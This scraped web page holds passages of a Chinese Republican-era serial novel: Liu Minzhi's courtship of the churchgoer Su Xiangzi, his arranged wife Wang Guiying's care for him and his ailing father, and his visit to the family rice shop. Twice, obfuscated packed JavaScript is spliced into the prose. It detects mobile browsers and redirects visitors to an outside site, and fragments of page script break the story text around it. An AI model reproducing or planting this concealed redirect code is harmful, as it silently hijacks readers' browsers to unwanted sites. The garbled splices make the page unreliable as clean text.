“其实，我说不上多懂，今儿个反日本，明儿个反美国，我根本记不清楚哪条个约签的哪个条款，我只是跟在她们身后走罢了。” 一弯残月如钩，安静、朦胧地为黑夜笼罩一层白雾。 刘珉之忽想起来，今日是农历的九月初一。 “我甚至还制过横幅、定过口号，你说可不可笑？” "怎么会可笑呢？你已经很勇敢了，总要有人发出声音。" “是啊。” 苏湘子抬头望月。 “所以她死了，死在我面前，被枪杀的。” 刘珉之懵了：“什、什么？” “嘭！一枪子过来，人的脸直接被打烂了，血溅到我脸上，她的眼睛还在看我。” 刘珉之这几年并未听说北京有武装镇压学生游行的案例，但或许，只是国外没有报道。 “你知道吗？我那时根本感觉不到难过，只庆幸自己没走在前头。” 刘珉之张了张嘴，脑袋好像又沉重起来，他谨慎地没有发言。 苏湘子长舒一口气。 “很抱歉和你说这些。” “不，我很，我很乐意听你说。” 苏湘子惨然一笑，又强行打起精神。 “不讲这些难过的了，毕竟天主，天主会保佑所有人的。” 刘珉之好像明白她为什么会信教，轻轻嗯了一声。 两人静默地相处片刻，等苏学章下楼找她，才正式告别。 “刘先生，认识你真的很高兴。” “我也是。” “那么，期待下一次见面。” “诶！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501958|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏湘子狡黠地停下脚步：“怎么了？” 刘珉之脸更红了，不知是不是酒气又冒上来。 “我听说，□□弄来一套新的胶片，下周在小剧院放。” “那小剧院窄的很，也不干净，坐着很不舒服。” “哦。” 刘珉之懊悔，他没有准备备选方案。 “不过，我愿意为了刘先生给它一个机会，瞧瞧它这次有没有进步。” 刘珉之大喜：“真的？” 苏湘子笑着点头。 “那太好了，周日下午四点钟，我到学校门口接你，我们先去吃饭。” “直接去教堂接我吧，我要做礼拜。” “好!” 苏湘子转身，走了两步又退回来，茉莉的香气如春风侵袭，在他脸颊上轻轻落下一个吻。 刘珉之愣住。 他呆呆听着鞋跟声音远去，又呆呆地上了人力车，回到刘府，值夜的下人睡眼惺忪地为他开门。 “二少爷。” 他没应，腿脚却聪明的很，自己往东厢房走。 灯光果不其然亮着，屋里的女人又在绣花玩。 “你回来了！” 刘珉之拿门撞门框，撞了几下没撞上，王桂英抚开他的手，将门扇合拢。 刘珉之嘿嘿笑。 “你……怎么醉成这个样子？” 王桂英早将地铺铺好了，刘珉之噗通一屁股摔下去，痛的直皱眉。 “你去床上睡吧。” 王桂英来扶他，他甩胳膊反抗几下，没挣过，顺势扑在床上。 “诶！鞋子！” 刘珉之慢吞吞抬起腰，伸手够到鞋子，一只一只扔下床。 “把衣裳换了再睡。” 刘珉之不理她。 她叹了口气，上手扒衣服。 刘珉之抗拒。 “不用、不用你，我自己来！我自己来！” 王桂英无语，将挂在屏风上的中衣丢给他。 “快点。” 她转过身。 衣料摩挲的声音就响了两下，渐了，只留男人均匀的呼吸声。 “好了没？” 没人应声儿。 “我转过来了？” 他默认了。 王桂英扭过身子，男人什么也没脱，就解了两个马甲扣子，正趴在枕头里酣睡。 王桂英抬头看了会儿木顶棚，先把自己气儿捋顺了，这才上手将比她高一个头的男人搬抬起身，给他换衣裳。 人醉的只差昏死，还不忘捂住胸口和下身，当真贞洁。 王桂英如同打完一场架，全身是汗。 刘珉之晕晕乎乎的，终于睡踏实了。过一会儿一条温热的帕子挨在他身上，挨过的地方清爽干净，他舒服的很，任由那帕子将整个人擦过一遍。 又过一会儿。 “醒醒，醒醒。” 他肩膀被晃来晃去。 “起来喝了醒酒汤再睡。” 好烦。 刘珉之皱眉，怎么都不肯睁眼。 “啪！” 宽厚的手掌往他脑袋上用力一扇，脑浆子都打匀了。 刘珉之震醒，心有余悸地摸着脑袋，只见王桂英黑着脸捧个瓷碗坐在床边。 一汤匙苦药送到嘴边。 “快喝。” 刘珉之学乖了，让干什么就干什么，终于睡了个好觉。 16. 玉佛 虽喝了解酒汤，早晨起来还是头疼，有根针在拧似的。 身上倒不难受，很清爽。 刘珉之瞪大眼睛，这才意识到有人给他换了衣裳擦了身子。 王桂英起的早，已不在房里了，一个瘦成竹竿的小女孩蹲在床脚打瞌睡。 “小葱？” “二少爷，”小葱打着哈欠起来，“我去给你端醒酒汤。” 刘珉之揉着太阳穴起床，昨日那身被酒气熏透的衣裳不见了，屏风上挂了新的西服。 换好衣裳出来，才看到案上一方手帕，白色泛珠光的桑蚕丝料子，和屋里古朴厚重的陈设极不搭调，像故意摆在那儿的。 刘珉之将帕子拾起，轻轻抚摸那朵小巧的银丝茉莉。 小葱翘着指头捧进来解酒汤，冒冒失失的，刘珉之赶紧接过，温度正好，他三两口灌进肚子。 “二少爷，二奶奶叫我转告你，这个帕子金贵，还带香气儿，她怕把香气给你洗坏了，叫你自己洗。” 怪不得搁在这里。 刘珉之心虚。 “二少爷，你昨天是不是喝花酒了？” “胡说什么呢！” 小葱咂咂嘴，知道他脾气好，也不害怕。 “二奶奶早上气坏了。” “哦？怎么个气坏的法？” “崔婶早上和她打招呼，她都不理人的。” 刘珉之觉得好笑。 “别贫嘴了，帮你二奶奶干活儿去。” 刘琼越昨天带外头几个女人上京城玩，家里只剩他们四个吃早餐。 天气转凉，刘伯承越来越没精神，连小儿子初一晚上不回家吃饭都懒得说，恹恹喝了两口小吊梨汤，不动了。 “爹，再吃点东西吧。” 刘伯参又拿起汤匙，在碗里搅了搅。 “是不是这汤没胃口？厨房还有银耳，我叫人炖一盅来。” “不用。” 刘伯参费劲地放下汤匙，往椅背上一靠。 “早上霜重，我老觉得，身上发寒。” 今天分明是个大晴天。 刘珉之心下叹息，不敢表现，只附和说天气确实冷。 “是啊爹，再多添件衣衫就好了。” 刘伯参垂着头，显得体型很小，像个孩童。 初一本该祭祖，刘珉之去祠堂补了香，回来发现王桂英难得在屋里坐着，身影空愣愣的。 “怎么了？” 王桂英扭头，刘珉之吓了一跳。 “你怎么哭了？” 王桂英一愣，拿黑色的绢子沾沾眼角，瞧不出湿了没。 “没事。” “真没事？” 王桂英不说话。 刘珉之莫名感到心虚，在对面的椅子坐下。 “你这样，好像我欺负了你似的。” “你本来就在欺负我。” 刘珉之噎住。 “等老爷子不在了，就没人护得住我了。” 刘伯参的身体状况平日没人提，但大家都心知肚明。这个老派的家里养着新派的孩子，全靠刘伯参将他们聚拢在一起。 她这个儿媳妇，也是老旧的、快要消亡的。 王桂英想着，腮边淌过两行清泪。 她的长相很古典，银盘脸杏仁眼，头发乌黑如漆，皮肤白里透红，瞧着就气血充盈，是老一辈人都喜欢那种长相，常被人夸有福气。 她又爱忙，府里上上下下都要管，只晚上回来和刘珉之一个屋歇息。 白日不相见，刘珉之便当没这个人，晚上呢，就将她看做屋里一座玉佛，撞上了便拜一拜，否则便不去理会。如今见玉佛也会眼红泣泪，刘珉之自己倒先乱了。 “你，你有什么怨我的话说出来就是了，是我对不住你。” 王桂英沉默地抹眼泪，边抹边哭，根本止不住。 刘珉之慌了：“我错了！都怨我！” 她哭的直打嗝，刘珉之帮她拍背。 “姑奶奶您消消气，您大人有大量，别跟我一般见识。” 天煞的，他可真见不得女人哭。 王桂英突然一转身扑到他怀里，他僵的手脚都不敢动。 女人的肩膀起伏着，像困顿的小兽，哪还有刘府二奶奶半分神采。 刘珉之叹了口气，认命地回抱住她。 等哭过劲儿了，王桂英很不好意思，扭扭捏捏地离开丈夫的怀抱，脸上布满红晕。 “你这几天都在家里呆着，要出去吗？” 刘珉之以为她在怨自己昨晚醉酒，赶紧表态：“我这几天都在家里。” 王桂英松了口气：“太好了，你得去米铺看看。” “米铺怎么了？不是有钱管家吗？” “钱管家还在庄子里。我听下人说米铺的伙计在闹涨工钱，爹不喜欢女人家掺和外面的事，我不好去管。” “我知道了。” 刘珉之将这件事记下，心中更是惭愧。 王桂英确是一心一意为刘家操劳，日后多补偿她些钱财吧。 刘家在漳县有上千亩耕地，每年靠收租净赚十几万斤粮食，这些粮食大部分运到大城市出售，剩下的囤积在刘家粮仓，粮仓之中又拿出一部分在漳县做长期经营，保证本地充足的粮食供应。 原先，乡下人自己有地，除了灾年不必买粮。后来兵荒马乱，卖地求全的人越来越多。没了地，便不用守着固定的家，可以到处行走，靠做雇农、雇工赚钱度日。如此，饮食、居所都要花钱维系。米是粮食的根基，刘家的米铺从不缺大小顾客。 木瓦门楣上悬一块黑底金字的匾，“刘家米铺”四个字已错金落灰，木门陈旧，门槛低矮，踩进去就是堆满米柜的店铺内部。 客人三三两两，柜台后的掌柜沉默地打着算盘，还有一个伙计看称，旁边立着一块木牌：新米75文一斤。 “今年米价怎么这么贵？” 伙计头也没抬，快速解释：“银元又涨价了，现在一银元换1500文，按银元给还是一银元20斤米。” 民国货币制度复杂，去年刚刚发行“法币”，规定一银元＝一法币，同时禁止银元流通，回收白银。但在大部分地区，这只是一纸空文，大家依旧使用自己熟悉的银元和铜钱。 考虑到政丨策时局种种因素，米价的涨幅勉强说的过去。 刘珉之没说话，在店里来回踱步，掌柜的感觉不对劲，一抬头，吓了一跳。 “二少爷，怎么是您？” 伙计唬了，忙抬起柜台的暗门，刘珉之大大方方走进去，站在掌柜让出的地方，翻看账本。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15501959|170384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “最近生意不错？” “正秋收呢，陆续进了两批新米，生意嘛，还是老样子。” 账目没问题，每天大概几百斤米售出，好的时候上千斤，隔几天会有一两个大单子。 “这里只你一家的账本？” “是。” “其他门店生意如何？” “二少爷，这可不归咱管，”掌柜为难道，“我只管自个儿店里，要说所有门面的事，得问钱管家去。” 要是钱管家在，也不用他刘珉之费心了。 “你工钱多少？” 掌柜谨慎地没回答：“二少爷这是何意？” “问你话答就是了。” “我每个月15元，手下伙计每个月8元，年底有分红，节日有津贴，钱管家还会视情况给奖薪。” 刘珉之合上账本。 “这么说，你还算满意喽？” 掌柜擦擦额头的汗：“不敢不敢，能在刘家讨一口饭吃，我们每天都感念老爷，额，还有少爷的恩德呐。” 刘珉之又看向伙计：“你刚才说现在银元涨价，那就是铜元不值钱了。刘家每个月薪水给的是银元还是铜钱？” 伙计唯唯诺诺：“是银元，是银元。” 刘珉之向后一仰。 “在漳县，应该没有比刘家更好的去处了。” “二少爷说的极是，亲戚都羡慕我们在刘家做事呢。” “是是，咱们东家是最厚道不过的。” 两人千吹万捧，刘珉之又训了几句话，叫他们平时做事勤谨些，门沿、案板上的灰尘常打扫，他们一一应了。 刘珉之任务完成，赶回家去。 刘伯参的身体一日不如一日，郎中每天都来，开的药方也改来改去去，其实就是换一两味无关痛痒的补药。偏王桂英实心眼，大夫刚改方子，她便盯着抓药重做。 王桂英捧了药进屋，见刘珉之在，一挑眉。 “这么快就回来了？” 刘珉之施施然点头，从她手里接过汤药，一勺一勺喂给刘伯参。 没喂两口，黑色的药沿他嘴边流出，刘珉之忙拿帕子去堵。 “我来吧。” 王桂英夺过药碗，翘着指头喂，也瞧不出手法有什么不一样，反正他全喝进去了。 喂完药，她温声哄病人休息，刘伯参虚弱地点头。 刚给刘伯参掖好被子，对方的手又从被缝里伸出来，轻轻拍王桂英的手背：“苦了你了。” “说什么呢，爹。” 到夜间，王桂英才有空问刘珉之米铺的事，刘珉之将情况简单说了。 “没什么大事，就是做事懒怠些，刘家的薪水是漳县最高的，我不信他们敢闹。” “这可说不准，人心总不知足的。” “放心，我训过话、给过教训了。你是从哪里听说他们要涨工钱的？我可一点没瞧出来。” “是厨房的崔婶，她娘家人开饭馆，和米铺来往多。” 王桂英换了衣服上床，犹不放心：“是不是他们不敢在你跟前说？你可是刘家的少爷，有事自然要瞒着你。” “真有事我不会看不出来。好了，别想那些有的没的。娘说的没错，你就是操心的命。” 刘珉之吹熄蜡烛。 “睡觉吧。”